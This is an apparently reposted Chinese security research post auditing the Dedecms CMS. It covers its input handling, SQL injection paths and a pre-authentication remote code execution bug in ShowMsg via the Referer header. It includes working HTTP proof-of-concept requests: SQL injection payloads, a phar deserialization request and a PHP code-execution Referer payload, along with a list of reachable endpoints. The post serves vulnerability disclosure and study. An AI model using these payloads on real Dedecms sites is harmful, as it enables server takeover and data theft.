首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Dedecms 中的预认证远程代码执行

Dedecms 中的预认证远程代码执行

作者头像
Khan安全团队
发布2022-01-25 10:04:19
发布2022-01-25 10:04:19
4.7K0
举报
文章被收录于专栏:Khan安全团队Khan安全团队

在这篇博文中,我将分享对 Dedecms(或翻译成英文的“Chasing a Dream”CMS)的技术评论,包括它的攻击面以及它与其他应用程序的不同之处。最后,我将以一个影响v5.8.1 pre-release的预认证远程代码执行漏洞结束。这是一款有趣的软件,因为它的历史可以追溯到其最初发布以来的 14 年多,而 PHP 在这些年来发生了很大的变化。

在线搜索“什么是中国最大的 CMS”很快就会发现,多个 消息来源 称Dedecms 是最受欢迎的。然而,这些来源几乎都有一个共同点:它们都是旧的。

所以,我决定做一个粗略的搜索:

该产品部署非常广泛,但此处详述的漏洞影响了少数站点,因为它于2020 年 12 月 11 日推出,并且从未进入发布版本。

威胁建模

免责声明:我没有实际的威胁建模经验。在审核目标时,我首先问自己的一件事是:应用程序如何接受输入?好吧,事实证明这个目标的这个问题的答案是在include/common.inc.php脚本中:

代码语言:javascript
复制
function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

//...

if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
                exit('Request var not allow!');
            }
        }
    }

    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v); // 1
            }

        }
    }
}

如果我们在这里密切关注,我们可以在[1]中看到代码重新启用register_globals,这在PHP 5.4 中已被删除。

register_globals过去一直是应用程序的一个巨大问题,并且会导致非常丰富的攻击面,这也是 PHP 在过去声誉不佳的原因之一。另请注意,它们不保护[2]处的$_SERVER$_FILES超级全局数组。

这可能会导致第[3]行中的开放重定向 http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/或 phar 反序列化等风险include/uploadsafe.inc.php

代码语言:javascript
复制
foreach ($_FILES as $_key => $_value) {
    foreach ($keyarr as $k) {
        if (!isset($_FILES[$_key][$k])) {
            exit("DedeCMS Error: Request Error!");
        }
    }
    if (preg_match('#^(cfg_|GLOBALS)#', $_key)) {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key . '_name'} = $_FILES[$_key]['name'];  // 4
    ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']);

    if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
        foreach (${$_key . '_name'} as $key => $value) {
            if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
                if (!defined('DEDEADMIN')) {
                    exit('Not Admin Upload filetype not allow !');
                }
            }
        }
    } else {
        if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
            if (!defined('DEDEADMIN')) {
                exit('Not Admin Upload filetype not allow !');
            }
        }
    }

    if (empty(${$_key . '_size'})) {
        ${$_key . '_size'} = @filesize($$_key); // 3
    }
代码语言:javascript
复制
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target

我没有报告这些错误,因为它们没有产生任何影响(否则我会称它们为漏洞)。开放 URL 重定向错误不能单独进一步攻击攻击者,并且如果没有小工具链,无法触发 phar 反序列化错误。

受过训练的眼睛会发现一些特别有趣的东西。在第[4]_name行,代码使用未过滤的字符串创建了一个攻击者控制的变量_RunMagicQuotes。这意味着具有管理员凭据的攻击者可以通过使用文件上传sys_payment.php绕过该函数来触发脚本中的 SQL 注入:_RunMagicQuotes

作为参考,我们可以看看 SQL 注入是如何在内部表现出来的dede/sys_payment.php

代码语言:javascript
复制
//配置支付接口
else if ($dopost == 'config') { // 5
    if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6
        ShowMsg("您有未填写的项目!", "-1");
        exit();
    }
    $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'");
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset(unserialize(utf82gb($row['config'])));
    } else if ($cfg_soft_lang == 'gb2312') {
        $config = unserialize($row['config']);
    }
    $payments = "'code' => '" . $row['code'] . "',";
    foreach ($config as $key => $v) {
        $config[$key]['value'] = ${$key};
        $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',";
    }
    $payments = substr($payments, 0, -1);
    $payment = "\$payment=array(" . $payments . ")";
    $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n";
    if (!empty($payment)) {
        $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php";
        $fp = fopen($m_file, "w") or die("写入文件 $safeconfigfile 失败,请检查权限!");
        fwrite($fp, $configstr);
        fclose($fp);
    }
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset($config, 'utf-8', 'gb2312');
        $config = serialize($config);
        $config = gb2utf8($config);
    } else {
        $config = serialize($config);
    }

    $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
    $dsql->ExecuteNoneQuery($query); // 8

[5][6]中,有一些检查$dopost设置为config$pay_name$pay_desc并且$pay_fee是从请求中设置的。后来在[7]中,代码使用攻击者提供的原始 SQL 查询构建了一个原始 SQL 查询$pay_name,最后在[8]我认为是触发了 SQL 注入……

纵深防御

过去,Dedecms 开发人员曾遭受过SQL 注入漏洞的重创(可能是由于register_globals在源代码级别启用)。在上面的例子中,我们得到了来自服务器的响应Safe Alert: Request Error step 2,当然我们的注入失败了。这是为什么?看看include/dedesqli.class.php就知道了:

代码语言:javascript
复制
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string, $querytype = 'select')
{

    // ...more checks...

    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }

    // ...more checks...

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
        $fail = true;
        $error = "sub select detect";
    }
    if (!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  // 9
    } else {
        return $db_string;
    }

CheckSql称为Execute

代码语言:javascript
复制
    //执行一个带返回结果的SQL语句,如SELECT,SHOW等
    public function Execute($id = "me", $sql = '')
    {

        //...

        //SQL语句安全检查
        if ($this->safeCheck) {
            CheckSql($this->queryString);
        }

SetQuery

代码语言:javascript
复制
    public function SetQuery($sql)
    {
        $prefix = "#@__";
        $sql = trim($sql);
        if (substr($sql, -1) !== ";") {
            $sql .= ";";
        }
        $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);

        CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。
         
        $this->queryString = $sql;
    }

但是我们可以通过使用另一个也调用的函数来避免这个函数,mysqli_query例如GetTableFields

代码语言:javascript
复制
    //获取特定表的信息
    public function GetTableFields($tbname, $id = "me")
    {
        global $dsqli;
        if (!$dsqli->isInit) {
            $this->Init($this->pconnect);
        }
        $prefix = "#@__";
        $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
        $query = "SELECT * FROM {$tbname} LIMIT 0,1";
        $this->result[$id] = mysqli_query($this->linkID, $query);
    }

不是,只是任何旧水槽。这个不使用引号,所以我们不需要打破带引号的字符串,这是必需的,因为我们的输入将流经_RunMagicQuotes函数。GetTableFields可以在第[10]dede/sys_data_done.php行的脚本中找到危险的用法:

代码语言:javascript
复制
if ($dopost == 'bak') {
    if (empty($tablearr)) {
        ShowMsg('你没选中任何表!', 'javascript:;');
        exit();
    }
    if (!is_dir($bkdir)) {
        MkdirAll($bkdir, $cfg_dir_purview);
        CloseFtp();
    }

    if (empty($nowtable)) {
        $nowtable = '';
    }
    if (empty($fsize)) {
        $fsize = 20480;
    }
    $fsizeb = $fsize * 1024;
    
    //第一页的操作
    if ($nowtable == '') {
        //...
    }
    //执行分页备份
    else {
        $j = 0;
        $fs = array();
        $bakStr = '';

        //分析表里的字段信息
        $dsql->GetTableFields($nowtable); // 10
代码语言:javascript
复制
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;

但当然,这需要管理员权限,这对我们来说并不感兴趣(没有提升权限或绕过身份验证)。

查找预先验证的端点

如果我们再努力一点,我们可以include/filter.inc.php在稍旧的版本中找到一些更有趣的代码:DedeCMS-V5.7-UTF8-SP2.tar.gz.

代码语言:javascript
复制
$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc;
    if (is_array($svar)) {
        foreach ($svar as $_k => $_v) {
            $svar[$_k] = _FilterAll($fk, $_v);
        }
    } else {
        if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) {
            ShowMsg(" $fk has not allow words!", '-1');
            exit();
        }
        if ($cfg_replacestr != '') {
            $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        ${$_k} = _FilterAll($_k, $_v);
    }
}

你能看出这里有什么问题吗?配置中的代码集$magic_quotes_gpc。如果未在php.inithen中设置,则addslashes调用。但是我们可以通过$magic_quotes_gpc在请求中使用并重写该变量并避免addslashes

此代码用于提交由未经身份验证的用户执行的反馈。我决定看看,我发现了以下水槽/plus/bookfeedback.php

代码语言:javascript
复制
else if($action=='send')
{
    //...
    //检查验证码
    if($cfg_feedback_ck=='Y')
    {
        $validate = isset($validate) ? strtolower(trim($validate)) : '';
        $svali = strtolower(trim(GetCkVdValue()));
        if($validate != $svali || $svali=='')
        {
            ResetVdValue();
            ShowMsg('验证码错误!','-1');
            exit();
        }
    }

    //...
    if($comtype == 'comments')
    {
        $arctitle = addslashes($arcRow['arctitle']);
        $arctitle = $arcRow['arctitle'];
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";  // 11
            $rs = $dsql->ExecuteNoneQuery($inquery); // 12
            if(!$rs)
            {
                echo $dsql->GetError();
                exit();
            }
        }
    }

[11]中,我们可以看到代码使用攻击者控制的输入(例如$catid和)构建了一个查询$bookname。有可能登陆此接收器并绕过addslashes触发未经身份验证的 SQL 注入:

代码语言:javascript
复制
POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn

我们有一个会话 cookie 集,因为它与存储在未经身份验证的会话中的验证码相关联:

幸运的是,我无法绕过CheckSql(不),但我可以绕过并从数据库中泄漏一些数据,因为我可以同时使用$catid$bookname进行注入,然后(ab)使用第二个命令:

代码语言:javascript
复制
else if($action=='quote')
{
    $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'");
    require_once(DEDEINC.'/dedetemplate.class.php');
    $dtp = new DedeTemplate();
    $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm');
    $dtp->Display();
    exit();
}

我所要做的就是猜测$fid(主键)并通过注入检查它是否匹配,$msg如果匹配pwn,我知道注入的结果已显示给我:

但是,此 SQL 注入受到限制,因为我无法使用select,sleepbenchmark关键字,因为它们被CheckSql函数拒绝。自从发现该漏洞以来,似乎开发人员/plus/bookfeedback.php在最新版本中删除了该文件,但绕过的核心问题addslashes仍然存在。在这一点上,如果我们要找到关键漏洞,我们需要关注不同的错误类别。

ShowMsg 模板注入远程代码执行漏洞

  • CVSS:9.8(/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • 版本:5.8.1 预发布

概括

未经身份验证的攻击者可以针对易受攻击的 Dedecms 版本执行任意代码。

漏洞分析

plus/flink.php脚本内部:

代码语言:javascript
复制
if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1'); // 1
        exit();
    }

[1]中,我们可以观察到在ShowMsg中定义的调用include/common.func.php

代码语言:javascript
复制
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) { // 2
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息
    ...
    <script>\r\n";
    $htmlfoot = "
    </script>
    ...
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    //...

    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
        //...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }

    $tpl = new DedeTemplate();
    $tpl->LoadString($msg); // 4
    $tpl->Display(); // 5
}

我们可以在[2]中看到,如果$gourl设置为 -1,那么攻击者可以通过 referer 标头控制[3]$gourl处的变量。该变量未经过滤并两次嵌入到由[4]处的调用加载并由[5]处的调用解析的变量中。在里面我们发现:$msgLoadStringDisplayinclude/dedetemplate.class.php

代码语言:javascript
复制
class DedeTemplate
{
    //...
    public function LoadString($str = '')
    {
        $this->sourceString = $str; // 6
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
    
    //...
    public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache(); // 7
        include $this->cacheFile; // 9
    }

[6]处,sourceString设置为由攻击者控制$msg。然后在[7] WriteCache处调用:

代码语言:javascript
复制
    public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult()); // 8
            $errmsg = '';     
            if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }

[8]处,代码调用GetResult返回值 insourceString来设置$result变量,该变量现在包含攻击者控制的输入。在[9]处,该CheckDisabledFunctions函数在$result变量上被调用。让我们看看到底CheckDisabledFunctions是怎么回事:

代码语言:javascript
复制
    public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

好。攻击者有可能通过一些创造性的方法绕过这个拒绝列表,将恶意 php 写入临时文件,最后到达 [9] 处的in执行include任意代码。Display

概念证明

可以借用他们自己的代码并调用危险函数,但无论如何都有几种通用方法可以绕过拒绝列表。不检查引用标头的双引号,因此以下有效负载将起作用:

代码语言:javascript
复制
GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

以下(非详尽的)列表路径可以到达该漏洞:

  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/vote.php?dopost=view
  8. /plus/carbuyaction.php?do=clickout
  9. /plus/recommend.php

报告

我在 2021 年 4 月左右发现了这个漏洞,但决定继续使用它,因为它只影响pre-release发布版本而不影响发布版本。在 repo 上几个月不活动后,我决定在 9 月 23 日报告该错误,opensource@dedecms.com并在 2 天后发布了一个解决该错误的静默补丁:

由于开发人员的这种行为,我决定不报告影响发布版本的其余 RCE 漏洞。虽然我同意不需要 CVE,但我确实认为至少应该在提交中添加安全说明。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 威胁建模
  • 纵深防御
  • 查找预先验证的端点
  • ShowMsg 模板注入远程代码执行漏洞
    • 概括
    • 漏洞分析
    • 概念证明
  • 报告
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档